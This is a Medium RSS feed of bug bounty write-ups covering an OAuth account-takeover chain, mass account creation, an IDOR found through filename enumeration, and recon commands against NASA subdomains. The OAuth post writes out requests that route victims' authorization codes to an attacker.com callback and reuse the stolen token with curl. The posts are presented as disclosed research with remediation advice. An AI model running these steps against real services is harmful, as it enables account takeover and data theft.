<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Shafayat Ahmed Alif on Medium]]></title>
        <description><![CDATA[Stories by Shafayat Ahmed Alif on Medium]]></description>
        <link>https://medium.com/@iamshafayat?source=rss-70c8e16f024d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*W4tcAgumVwu7Sr8in6z-FA.jpeg</url>
            <title>Stories by Shafayat Ahmed Alif on Medium</title>
            <link>https://medium.com/@iamshafayat?source=rss-70c8e16f024d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 23:15:20 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@iamshafayat/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I Found a Critical OAuth Misconfiguration That Led to Account Takeover]]></title>
            <link>https://infosecwriteups.com/how-i-found-a-critical-oauth-misconfiguration-that-led-to-account-takeover-abfec43eaea6?source=rss-70c8e16f024d------2</link>
            <guid isPermaLink="false">https://medium.com/p/abfec43eaea6</guid>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[Shafayat Ahmed Alif]]></dc:creator>
            <pubDate>Tue, 09 Jun 2026 09:21:17 GMT</pubDate>
            <atom:updated>2026-07-06T06:28:42.647Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A bug bounty story about OAuth, PKCE, open client registration, and how multiple low-level issues chained together into a critical account takeover vulnerability.</em></p><h3>Introduction</h3><p>While testing a self-hosted platform during a bug bounty engagement, my teammate <a href="https://www.linkedin.com/in/kazisabbir1337/">Kazi Sabbir</a> and I discovered a series of OAuth misconfigurations that could be chained together to achieve full account takeover of authenticated users.</p><p>Individually, some of these findings might not appear critical. However, when combined, they created a dangerous attack path that allowed an attacker to obtain valid OAuth tokens belonging to another user and gain persistent access to their account.</p><p>After responsibly disclosing the issue, the vulnerability was validated and rewarded.</p><p>In this writeup, I’ll walk through the discovery process, explain the OAuth flow involved, and show how several seemingly minor security weaknesses combined into a critical vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LSYvZQi4XHLJtsiRxk-gSQ.png" /><figcaption>Photo Credit: Gemini</figcaption></figure><h3>Understanding the Environment</h3><p>During reconnaissance, I used my tool <strong>JSpider</strong> (<a href="https://iamshafayat.github.io/JSpider/">https://iamshafayat.github.io/JSpider/</a>) and its <strong>Sensitive Path Prober</strong> feature to look for interesting files and endpoints that are commonly exposed by web applications.</p><p>One of the paths that returned a <strong>200 OK</strong> response was:</p><pre>GET /.well-known/oauth-authorization-server</pre><p>Finding this endpoint immediately caught my attention because OAuth authorization server metadata often reveals valuable information about how authentication and authorization are implemented.</p><p>After visiting the endpoint, I found the following configuration details:</p><pre>{<br>  &quot;issuer&quot;: &quot;https://reducted.target.com&quot;,<br>  &quot;authorization_endpoint&quot;: &quot;https://reducted.target.com/api/v2/oauth/authorize&quot;,<br>  &quot;token_endpoint&quot;: &quot;https://reducted.target.com/api/v2/oauth/token&quot;,<br>  &quot;registration_endpoint&quot;: &quot;https://reducted.target.com/api/v2/oauth/register&quot;,<br>  &quot;response_types_supported&quot;: [&quot;code&quot;],<br>  &quot;grant_types_supported&quot;: [&quot;authorization_code&quot;, &quot;refresh_token&quot;],<br>  &quot;token_endpoint_auth_methods_supported&quot;: [&quot;none&quot;, &quot;client_secret_post&quot;],<br>  &quot;code_challenge_methods_supported&quot;: [&quot;S256&quot;]<br>}</pre><p>At first glance, everything looked fairly standard and indicated that the application exposed a complete OAuth 2.0 implementation.</p><p>However, as I continued testing the exposed OAuth endpoints, I discovered several security weaknesses that could be chained together into a much more serious issue.</p><h3>Finding #1: Open OAuth Client Registration</h3><p>The first issue appeared in the OAuth client registration endpoint.</p><p>One important detail about this environment was that the affected subdomain, <strong>redacted.target.com</strong>, was intended for internal use and did not provide any public user registration functionality. In other words, external users could not normally create accounts or onboard themselves through the application.</p><p>Despite this, I discovered that anyone on the internet could register a new OAuth application without authentication. This effectively exposed a sensitive OAuth management capability that should have been restricted to trusted internal users or administrators.</p><pre>POST /api/v2/oauth/register</pre><p>Request:</p><pre>{<br>  &quot;redirect_uris&quot;: [<br>    &quot;https://attacker.com/callback&quot;<br>  ]<br>}</pre><p>Response:</p><pre>{<br>  &quot;client_id&quot;: &quot;generated-client-id&quot;,<br>  &quot;client_secret&quot;: &quot;generated-secret&quot;,<br>  &quot;redirect_uris&quot;: [&quot;https://attacker.com/callback&quot;]<br>}</pre><ul><li>No login.</li><li>No API key.</li><li>No verification.</li><li>Nothing.</li></ul><p>Even more concerning, the server accepted arbitrary redirect URIs without validating domain ownership.</p><p>This meant an attacker could create an OAuth application that redirected authorization codes directly to infrastructure they controlled.</p><p>At this stage, I had the ability to create malicious OAuth clients.</p><h3>Finding #2: Authorization Requests Were Processed Without Authentication</h3><p>Next, I began testing the authorization endpoint.</p><p>Normally, OAuth authorization requires an authenticated user because the server must know which account is granting access.</p><p>However, when I sent requests directly to the authorization API, I noticed something unexpected.</p><pre>POST /api/v2/oauth/authorize</pre><p>Request:</p><pre>POST /api/v2/oauth/authorize HTTP/2<br>Host: redacted.target.com<br>Content-Type: application/json<br><br>{<br>  &quot;client_id&quot;: &quot;ATTACKER_CLIENT_ID&quot;,<br>  &quot;redirect_uri&quot;: &quot;https://attacker.com/callback&quot;,<br>  &quot;response_type&quot;: &quot;code&quot;,<br>  &quot;state&quot;: &quot;randomstate&quot;,<br>  &quot;code_challenge&quot;: &quot;PKCE_CHALLENGE&quot;,<br>  &quot;code_challenge_method&quot;: &quot;S256&quot;<br>}</pre><p>Response:</p><pre>HTTP/2 201 Created<br>Content-Type: application/json<br><br>{<br>  &quot;redirect_uri&quot;: &quot;https://attacker.com/callback?code=AUTH_CODE&amp;state=randomstate&quot;<br>}</pre><p>The endpoint processed requests and returned HTTP 201 responses even when no authenticated session was present.</p><p>Instead of rejecting unauthenticated requests with:</p><pre>401 Unauthorized</pre><p>the server generated authorization data and returned a valid redirect URL.</p><p>This indicated that authentication enforcement was missing or improperly implemented.</p><p>That immediately caught my attention because OAuth authorization endpoints should never process requests without first validating the user’s identity.</p><h3>Finding #3: PKCE Didn’t Fully Protect the Flow</h3><p>The platform used PKCE (Proof Key for Code Exchange), which is normally a good security control.</p><p>To test the implementation, I generated a standard verifier &amp; challenge pair and attempted token exchanges. For example, the following Bash command can be used to generate a PKCE code verifier and its corresponding S256 code challenge:</p><pre>verifier=$(openssl rand -base64 48 | tr -d &#39;=+/&#39; | cut -c1-64)<br>challenge=$(echo -n &quot;$verifier&quot; | openssl sha256 -binary | openssl base64 -A | tr &#39;+/&#39; &#39;-_&#39; | tr -d &#39;=&#39;)<br>echo &quot;VERIFIER: $verifier&quot;<br>echo &quot;CHALLENGE: $challenge&quot;</pre><p>Using the generated values, I then attempted token exchanges to evaluate how the OAuth server validated PKCE parameters.</p><p>During testing I discovered that the token endpoint accepted requests without requiring a valid client secret.</p><p>The OAuth metadata already hinted at this behavior:</p><pre>&quot;token_endpoint_auth_methods_supported&quot;: [<br>  &quot;none&quot;,<br>  &quot;client_secret_post&quot;<br>]</pre><p>In practice, the endpoint allowed token exchanges using only:</p><ul><li>Authorization code</li><li>Client ID</li><li>PKCE verifier</li></ul><p>No client secret validation occurred.</p><p>While this behavior is technically allowed for public clients, it became dangerous when combined with the open registration issue.</p><p>An attacker could register their own OAuth client and immediately use it in attack scenarios.</p><h3>Finding #4: Wildcard CORS</h3><p>While reviewing responses, I noticed another security concern.</p><p>The application returned:</p><pre>Access-Control-Allow-Origin: *</pre><p>across various endpoints.</p><p>This meant any website could issue cross-origin requests and read responses from the server.</p><p>Although CORS alone did not directly create the account takeover, it significantly expanded potential attack vectors and increased the impact of the OAuth weaknesses.</p><h3>Finding #5: Google SSO Auto-Provisioning</h3><p>Google SSO was enabled on the application.</p><p>A simple request to the authentication endpoint confirmed this:</p><pre>GET /auth/google</pre><p>Response:</p><pre>302 Found<br>Location: https://accounts.google.com/o/oauth2/v2/auth?response_type=code&amp;redirect_uri=https%3A%2F%2Fredacted.target.com%2F&amp;scope=profile%20email&amp;client_id=REDACTED.apps.googleusercontent.com</pre><p>This confirmed that Google SSO was active. Standard Google SSO behavior also allowed new users to be automatically provisioned on their first successful authentication.</p><p>While not a vulnerability by itself, this helped confirm how users authenticated to the platform and interacted with the OAuth ecosystem.</p><h3>Building the Attack Chain</h3><p>After documenting the individual findings, I began looking at them as a complete attack path.</p><p>The chain looked like this:</p><h3>Step 1</h3><p>Register a malicious OAuth application.</p><pre>POST /api/v2/oauth/register</pre><p>Use an attacker-controlled callback URL:</p><pre>https://attacker.com/callback</pre><h3>Step 2</h3><p>Generate a PKCE challenge and verifier.</p><p>The platform required:</p><pre>code_challenge_method=S256</pre><p>which was easy to satisfy.</p><h3>Step 3</h3><p>Create an authorization URL.</p><pre>https://redacted.target.com/oauth/authorize<br>?response_type=code<br>&amp;client_id=ATTACKER_CLIENT_ID<br>&amp;redirect_uri=https://attacker.com/callback<br>&amp;state=randomstate</pre><h3>Step 4</h3><p>Send the link to a victim.</p><p>If the victim was already logged in, the application displayed an OAuth consent screen.</p><p>From the victim’s perspective, they were simply approving an OAuth request.</p><h3>Step 5</h3><p>Victim clicks “<strong>Approve</strong>”</p><p>At this moment the application generated an authorization code tied to the victim’s account.</p><p>The browser was then redirected to:</p><pre>https://attacker.com/callback?code=AUTH_CODE</pre><p>The attacker now possessed a valid authorization code belonging to the victim.</p><h3>Step 6</h3><p>Exchange the code for tokens</p><p>The attacker exchanged the authorization code through the token endpoint.</p><pre>POST /api/v2/oauth/token</pre><p>The server returned:</p><pre>{<br>  &quot;access_token&quot;: &quot;JWT_ACCESS_TOKEN&quot;,<br>  &quot;refresh_token&quot;: &quot;...&quot;<br>}</pre><p>One important detail was that the access_token returned by the server was a JWT token. Once the attacker obtained this JWT, they could immediately authenticate as the victim and access protected API endpoints.</p><p>Using my tool <strong>JSpider</strong> and its <strong>Javascript Crawler</strong> feature, I had previously identified several authenticated endpoints exposed in the application’s JavaScript files. By supplying the stolen JWT in the Authorization header, the attacker could interact with these endpoints as the victim.</p><p>For example:</p><pre># Access victim&#39;s profile<br>curl -s https://redacted.target.com/auth/user/me \<br>  -H &quot;Authorization: Bearer ACCESS_TOKEN&quot;</pre><pre># List all accessible projects/databases<br>curl -s https://redacted.target.com/api/v1/db/meta/projects \<br>  -H &quot;Authorization: Bearer ACCESS_TOKEN&quot;</pre><p>Because the JWT represented the victim’s authenticated session, these requests returned data belonging to the victim, allowing the attacker to access account information, enumerate projects, and interact with the platform using the victim’s privileges.</p><p>At this point the attack was complete.</p><h3>Impact</h3><p>Successful exploitation resulted in full account takeover.</p><p>An attacker could:</p><ul><li>Access the victim’s profile</li><li>Read available projects and workspaces</li><li>Interact with APIs as the victim</li><li>Generate long-lived refresh tokens</li><li>Maintain access for extended periods</li><li>Potentially access administrative functionality depending on the victim’s permissions</li></ul><p>Because the attack only required the victim to click a crafted link and approve the OAuth request, exploitation was realistic and highly impactful.</p><h3>Why This Vulnerability Was Critical</h3><p>What made this issue particularly interesting was that no single finding created the full impact.</p><p>The real problem was the combination of:</p><ol><li>Open OAuth client registration</li><li>Missing authorization checks</li><li>Weak OAuth client validation</li><li>Wildcard CORS</li><li>User interaction through the consent flow</li></ol><p>Security teams often evaluate findings individually.</p><p>Attackers evaluate them as chains.</p><p>When chained together, these weaknesses transformed into a critical account takeover vulnerability.</p><h3>Remediation</h3><p>The following controls would prevent this attack chain:</p><h4>Authenticate OAuth Client Registration</h4><p>Only trusted and authenticated users should be able to create OAuth applications.</p><h4>Validate Redirect URIs</h4><p>Implement strict redirect URI validation and ownership verification.</p><h4>Enforce Authentication</h4><p>Authorization endpoints should immediately reject unauthenticated requests.</p><pre>401 Unauthorized</pre><h4>Strengthen OAuth Client Validation</h4><p>Require proper client authentication where appropriate and validate client credentials consistently.</p><h4>Restrict CORS</h4><p>Replace wildcard CORS policies with a strict allowlist.</p><h4>Monitor OAuth Abuse</h4><p>Introduce detection mechanisms for:</p><ul><li>Suspicious client registrations</li><li>Unusual authorization activity</li><li>Malicious redirect URI patterns</li><li>Excessive token generation</li></ul><h3>Lessons Learned</h3><p>This finding is a great example of why bug bounty hunting isn’t just about finding individual vulnerabilities.</p><p>Many critical reports come from understanding how different components interact and identifying ways to combine multiple weaknesses into a practical attack chain.</p><p>OAuth is often viewed as a solved problem, but misconfigurations remain common and can have devastating consequences when overlooked.</p><p>Sometimes the most impactful vulnerabilities aren’t hidden behind complex exploits.</p><p>They’re hiding in plain sight, waiting for someone to connect the dots.</p><h3>Responsible Disclosure</h3><p>This research was conducted under an authorized vulnerability disclosure or bug bounty program.</p><p>Testing was performed responsibly, no unauthorized user data was accessed, and all findings were reported directly to the affected organization before public disclosure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lm0E1lgfIByByGQBU8BX1g.png" /></figure><p><strong>Researcher:</strong> Shafayat Ahmed Alif</p><p><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/iamshafayat">linkedin.com/in/iamshafayat</a></p><p><strong>Twitter/X:</strong> <a href="https://x.com/iamshafayat">x.com/iamshafayat</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=abfec43eaea6" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-found-a-critical-oauth-misconfiguration-that-led-to-account-takeover-abfec43eaea6">How I Found a Critical OAuth Misconfiguration That Led to Account Takeover</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Found Unlimited Account Creation Vulnerability Due to Improper Access Control]]></title>
            <link>https://systemweakness.com/how-i-found-unlimited-account-creation-vulnerability-due-to-improper-access-control-96ed33839a1e?source=rss-70c8e16f024d------2</link>
            <guid isPermaLink="false">https://medium.com/p/96ed33839a1e</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-methodology]]></category>
            <dc:creator><![CDATA[Shafayat Ahmed Alif]]></dc:creator>
            <pubDate>Mon, 11 May 2026 05:02:44 GMT</pubDate>
            <atom:updated>2026-05-26T13:36:28.917Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ASVknGhWFlr32xRlqxRe7w.jpeg" /></figure><h3>Introduction</h3><p>During my bug bounty hunting journey, I was testing a web platform when I discovered a significant vulnerability in their user registration system. The application allowed anyone to create an <strong>unlimited number of accounts</strong> without any email verification or proper access controls.</p><p>This write-up details how I found the issue, the technical flow behind it, and why it matters.</p><blockquote><strong><em>Note:</em></strong><em> All sensitive identifiers, endpoints, and the program name have been redacted in this public write-up.</em></blockquote><h3>Discovery</h3><p>While exploring the signup feature of the platform, I noticed that the frontend was making several API calls to the backend. Instead of the usual single registration request, the application was using a multi-step flow involving authorization codes and token exchange.</p><p>This unusual design made me curious. I started intercepting the requests using Burp Suite and quickly realized that the backend was not enforcing critical security checks.</p><h3>Vulnerability Details</h3><p>The core issue was <strong>Improper Access Control</strong> on the account registration pipeline. The application exposed backend endpoints that allowed:</p><ul><li>Account creation without email verification</li><li>Immediate issuance of a valid JWT token</li><li>No strong server-side restrictions on mass registration</li></ul><h4>The Registration Flow:</h4><p>The vulnerable flow consisted of <strong>4 simple API requests</strong>:</p><ol><li><strong>OPTIONS /Register</strong></li></ol><p>Preflight request (returned 204 No Content)</p><p><strong>2. POST /Register</strong></p><p>This is where the magic happened. A sample payload looked like this:</p><pre>{<br>  &quot;email&quot;: &quot;testuser@gmail.com&quot;,<br>  &quot;password&quot;: &quot;Test1234&quot;,<br>  &quot;optedInForEmails&quot;: false,<br>  &quot;websiteShortCode&quot;: &quot;GT&quot;,<br>  &quot;fingerprint&quot;: &quot;...&quot;,<br>  &quot;clientId&quot;: &quot;...&quot;,<br>  &quot;redirectUrl&quot;: &quot;https://target.com/&quot;,<br>  &quot;validationCode&quot;: &quot;...&quot;,<br>  &quot;nonce&quot;: &quot;...&quot;<br>}</pre><p>The response returned:</p><ul><li>success: true</li><li>An authorizationCode</li></ul><p><strong>3. OPTIONS /AuthorizeCode</strong></p><p>Another preflight request.</p><p><strong>4. POST /AuthorizeCode</strong></p><p>By simply passing the authorizationCode received in Step-2:</p><pre>{<br>  &quot;authorizationCode&quot;: &quot;xxxxxxxxxxxxxxxxxxxxxxxx&quot;,<br>  &quot;clientId&quot;: &quot;...&quot;,<br>  &quot;validationCode&quot;: &quot;...&quot;<br>}</pre><p>The server responded with a <strong>valid JWT token</strong>.</p><p>At this point, the account was fully created and usable. I could immediately log in using the email and password provided in the registration step.</p><h3>Proof of Concept</h3><p>I automated the entire process by writing a Python script (poc.py).</p><p><strong>How the script works:</strong></p><ul><li>It loops through multiple email addresses (e.g., testuser1@gmail.com, testuser2@gmail.com, etc.)</li><li>For each email, it performs the 4-step registration flow</li><li>Extracts the authorizationCode from the registration response</li><li>Exchanges it for a valid JWT token</li><li>Saves the account credentials and token</li></ul><p>Using this automation, I was able to create dozens of fully functional accounts in a short time.</p><h3>Impact</h3><p>If left unpatched, this vulnerability could allow an attacker to:</p><ul><li>Create thousands of fake accounts rapidly</li><li>Cause database bloat and increased infrastructure costs</li><li>Abuse platform features (reviews, promotions, referrals, etc.)</li><li>Potentially bypass other business logic restrictions</li></ul><p>This is a classic example of how missing server-side controls in critical flows can lead to serious abuse.</p><h3>Conclusion</h3><p>This vulnerability was discovered by me and my friend <a href="https://www.linkedin.com/in/kazisabbir1337/"><strong>Kazi Sabbir</strong></a> while testing the platform’s registration flow. It started as a simple observation but turned into an interesting case of Improper Access Control that allowed unlimited account creation without email verification.</p><p>Finding such issues reminds us how critical it is to enforce strong server-side validations, especially on core functionalities like user registration.</p><p>Connect with me on <a href="https://www.linkedin.com/in/iamshafayat/">LinkedIn</a>!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=96ed33839a1e" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/how-i-found-unlimited-account-creation-vulnerability-due-to-improper-access-control-96ed33839a1e">How I Found Unlimited Account Creation Vulnerability Due to Improper Access Control</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Turned a Boring Image Downloader into an IDOR Goldmine]]></title>
            <link>https://medium.com/@iamshafayat/how-i-turned-a-boring-image-downloader-into-an-idor-goldmine-77a77d8c6c05?source=rss-70c8e16f024d------2</link>
            <guid isPermaLink="false">https://medium.com/p/77a77d8c6c05</guid>
            <category><![CDATA[idor]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[Shafayat Ahmed Alif]]></dc:creator>
            <pubDate>Thu, 13 Nov 2025 09:51:48 GMT</pubDate>
            <atom:updated>2025-11-13T09:51:48.511Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, bug hunters and security enthusiasts! I’m excited to share a story from my recent adventure in vulnerability hunting. It all started on an ordinary afternoon when my friend <a href="https://www.linkedin.com/in/kazi-sabbir-4081ab269/">Kazi Sabbir</a> gave me a call, rallying us for a bug hunt. We teamed up, picked a promising target after about an hour of scouting, and dove right in. Our automated recon tools were humming in the background while we fired up Burp Suite and started poking around. Most endpoints were pretty dull, nothing exciting at first. But then, we stumbled upon a feature that caught our eye: a background image removal tool that stores uploaded images in its database for 30 days.</p><p>Naturally, our hacker brains kicked in with the big question: <em>Could we access someone else’s uploaded image?</em></p><h3>The Initial Spark: Spotting the Endpoint</h3><p>As we explored, we focused on the network traffic during a legitimate user session. Whenever a user downloaded their processed image, an endpoint popped up:</p><blockquote>https://redacted.com/ImageDownload/?docName=&lt;filename&gt;.jpeg</blockquote><p>Visiting this URL directly downloaded the image. But here’s where it got fun: if we swapped in a different filename, we could download <em>that</em> image too. We tested it by creating a second account, uploading an image, grabbing its filename, and plugging it into the first account’s URL. Boom!</p><p>We were pumped. This screamed Insecure Direct Object Reference (IDOR), a classic vuln where attackers can access resources by guessing or manipulating identifiers. We reported it right away through YesWeHack, expecting a quick validation.</p><p>But the program’s triage team threw us a curveball: <strong><em>“Show us a Proof of Concept (PoC) for how an attacker would actually get another user’s filename.”</em></strong> Fair point is filenames aren’t just handed out. Time to dig deeper.</p><h3>Cracking the Filename Code</h3><p>We zoomed in on the filename structure. It wasn’t random; it followed a clear pattern:</p><blockquote>&lt;id&gt;&lt;users name&gt;&lt;timestamp&gt;.jpeg</blockquote><ul><li><strong>ID</strong>: A 6-digit number, like <strong>620239</strong>, that incremented by one with each new account.</li><li><strong>User’s Name</strong>: The name used during account creation, e.g., <strong>Alif</strong>.</li><li><strong>Timestamp</strong>: A Unix timestamp, like <strong>1760364775</strong>, marking the upload time.</li></ul><p>Both the ID and timestamp were predictable, but crafting a working PoC meant guessing them in tandem, tricky, since we’d need to align an ID with a realistic timestamp for a real user’s upload.</p><p>We brainstormed and decided to build a script that reverse-engineered these elements. Here’s how we broke it down step by step:</p><h3>Step 1: Analyzing the Pattern</h3><p>We uploaded a few images ourselves and studied the filenames. The structure was consistent, hinting that if you knew a target’s Name, you could predict the rest. IDs were sequential, and timestamps tied to upload times, so older or recent uploads could be targeted by working backward.</p><h3>Step 2: Enumerating IDs in Reverse</h3><p>We scripted a simple enumerator to test sequential IDs, starting from recent ones and going backward. This was to check if “older” files were still accessible within the 30-day window. Lo and behold, hitting certain IDs returned valid files. It confirmed the IDs were incremental and not randomized.</p><h3>Step 3: Generating and Testing Timestamps</h3><p>Next, we added timestamp logic. We generated descending Unix timestamps around likely upload windows (e.g., recent hours or days). Combining these with the enumerated IDs gave us hundreds of candidate filenames.</p><p>For each one, our script sent lightweight requests to the endpoint to check for availability &amp; filtering out 404s (not found) and 403s (forbidden). Within minutes, we started getting 200 OK responses, proving we could expose real user data without prior knowledge of exact filenames.</p><h3>The Real Grind: Behind-the-Scenes Struggles</h3><p>This wasn’t some instant win. We poured hours into debugging. Response patterns were inconsistent, some files threw silent 404s, others only worked with perfect ID-timestamp matches. We had to filter through false positives, tweak our script logic, and cross-check against actual upload activities.</p><p>Trial and error was key. Every mismatch made us rethink the naming convention until we nailed the service’s internal rules. It was frustrating but rewarding like piecing together a puzzle where one wrong move resets the board.</p><p>In the end, our PoC script demonstrated a feasible attack path, satisfying the program. But due to the complexity (guessing combos isn’t trivial), the CVSS score dropped a bit. Still, it pushed us to think deeper and level up our skills.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hHw_s0p5bWzLsBF8QPSMqw.png" /></figure><h3>Lessons from the Hunt</h3><p>Bug hunting isn’t always about flashy zero-days; sometimes it’s the “boring” endpoints that hide gold. This IDOR taught us patience, the power of scripting for enumeration, and why predictable identifiers are a dev’s nightmare.</p><p>If you’re out there hunting, remember: question everything, script the tedious parts, and don’t give up on those hunches. Shoutout to Kazi Sabbir for the team-up; couldn’t have done it without you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=77a77d8c6c05" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Hacked NASA and Defaced It]]></title>
            <link>https://medium.com/@iamshafayat/how-i-hacked-nasa-and-defaced-it-9f106e833cc1?source=rss-70c8e16f024d------2</link>
            <guid isPermaLink="false">https://medium.com/p/9f106e833cc1</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[nasa]]></category>
            <dc:creator><![CDATA[Shafayat Ahmed Alif]]></dc:creator>
            <pubDate>Fri, 18 Jul 2025 14:59:35 GMT</pubDate>
            <atom:updated>2025-10-14T17:37:05.024Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey there, fellow bug hunters! I’m thrilled to share my story of how I went from dreaming about finding a vulnerability in NASA to actually making it happen — and earning a coveted Letter of Appreciation from them! Buckle up, because this journey was a rollercoaster of persistence, creativity, and a pinch of luck that led to uncovering a serious flaw in one of NASA’s subdomains.</p><h3>The Spark That Started It All</h3><p>It all started with LinkedIn posts. I kept seeing security researchers proudly sharing their achievements of finding vulnerabilities in NASA’s systems, complete with shiny Letters of Appreciation. Those posts lit a fire in me. I thought, <em>“One day, I want that to be me.”</em> Finding a bug in NASA became my dream — a challenge to test my skills against one of the most prestigious organizations in the world.</p><p>NASA’s attack surface is massive, with countless subdomains and services, and it’s a magnet for bug hunters worldwide. I knew it wouldn’t be easy, but I was ready to dive in.</p><h3>Step 1: Casting a Wide Net with Subdomain Enumeration</h3><p>Like most bug hunters, I began with subdomain enumeration. NASA’s digital footprint is enormous, so I needed to map out as much of it as possible. I fired up my favorite tools — <strong>Subfinder, Assetfinder, Sublist3r, Findomain, </strong>and<strong> crt.sh</strong> — to collect subdomains. Here’s a peek at the commands I used:</p><pre># Subfinder - great passive tool<br>subfinder -d nasa.gov -o subfinder.txt<br><br># Assetfinder - very fast<br>assetfinder -subs-only nasa.gov &gt; assetfinder.txt<br><br># Sublist3r - DNS-based brute forcing, also uses search engines<br>sublist3r -d nasa.gov -n -o sublist3r.txt<br><br># Findomain - supports many sources and works fast<br>findomain -t nasa.gov -q -u findomain.txt<br><br># crt.sh (certificate transparency logs)<br>curl -s &quot;https://crt.sh/?q=%25.nasa.gov&amp;output=json&quot; | jq -r &#39;.[].name_value&#39; | sed &#39;s/\*\.//g&#39; &gt; &quot;crtsh.txt&quot;</pre><p>Pro tip: Adding API keys to Subfinder’s config file is a game-changer. Without keys, I found 10–12k subdomains, but with them, I pulled in a staggering 125k+ subdomains. Combining the output from all tools gave me a whopping 126k+ subdomains. That’s a lot, right? But here’s the catch — most were dead ends.</p><p>To narrow it down, I filtered for live subdomains using <strong>httpx</strong>:</p><pre>httpx -l all_subdomains.txt -silent -o live_subdomains.txt</pre><p>This gave me a manageable list of live subdomains to focus on.</p><h3>Step 2: The Grind and a Moment of Doubt</h3><p>I zeroed in on juicy subdomains like <em>api</em>, <em>dev</em>, and <em>development</em> — the kind that often hide vulnerabilities. I spent weeks manually poking around, but after 1–2 weeks of finding nothing, I was ready to throw in the towel. It felt like I was searching for a needle in a haystack, and the haystack was NASA-sized.</p><p>But then, a lightbulb moment hit me. What if I re-ran the subdomain enumeration and compared the new results with my old list? Newly added subdomains are often less scrutinized by other hunters and more likely to have misconfigurations. So, I repeated the process, collected fresh subdomains, filtered them with <strong>httpx</strong>, and compared the lists:</p><pre>comm -23 &lt;(sort new_live_subdomain.txt) &lt;(sort old_live_subdomain.txt) &gt; unique_subdomains.txt</pre><p>This gave me a handful of newly added subdomains, and I was back in the game.</p><h3>Step 3: Striking Gold on a New Subdomain</h3><p>Among the new subdomains, one caught my eye — a development-related subdomain (let’s call it redacted.nasa.gov for security reasons). It smelled like opportunity, so I dove in.</p><p>I started fuzzing for hidden directories on redacted.nasa.gov using ffuf and a juicy wordlist:</p><pre>ffuf -w /home/alif/Desktop/payloads/juicy-path.txt -u https://redacted.nasa.gov/FUZZ -mc 200 -r</pre><p>Bingo! I found two interesting paths: /env and /swagger/index.html.</p><p>The /env path was a treasure trove of sensitive environment variables — internal IPs, ports, service names, and hostnames. I knew this was big. An attacker could use this to map internal systems or escalate attacks. I immediately wrote a detailed report explaining how an attacker could exploit this information and submitted it to NASA via BugCrowd. A day later, they responded, classifying it as a <strong>P5 (Informational)</strong> issue. Since their policy only awards Letters of Appreciation for <strong>P1-P4</strong> reports, I was a bit disappointed. No letter for me — yet.</p><h3>Step 4: The Game-Changing Discovery</h3><p>Then I remembered the other path: /swagger/index.html. Visiting it revealed a <strong>Swagger API page</strong> with documented endpoints. One endpoint, /store, piqued my interest. According to the documentation, I crafted a POST request using Burp Suite:</p><pre>Content-Type: application/json<br><br>{<br> &quot;message&quot;: &quot;hi,nasa&quot;<br>}</pre><p>The server responded with a 202 Accepted<strong> </strong>status and a hash value in the response body:</p><pre>{<br> &quot;hash&quot;: &quot;07adf32leysdjksudhfushe327ewdyuEXAMPLE&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zK00-Z99ZsKyrZ6VHX3HQA.png" /><figcaption>Burp Response</figcaption></figure><p>According to the docs, this hash could be used to <strong>view</strong> the stored content:</p><p>https://redacted.nasa.gov/store/70adf31ccsdjksudhfushe327ewdyuEXAMPLE</p><p>To my surprise, the browser displayed:</p><pre>{<br> &quot;message&quot;: &quot;hi,nasa&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3eljIzzGQc9i6KJmEwDfwQ.png" 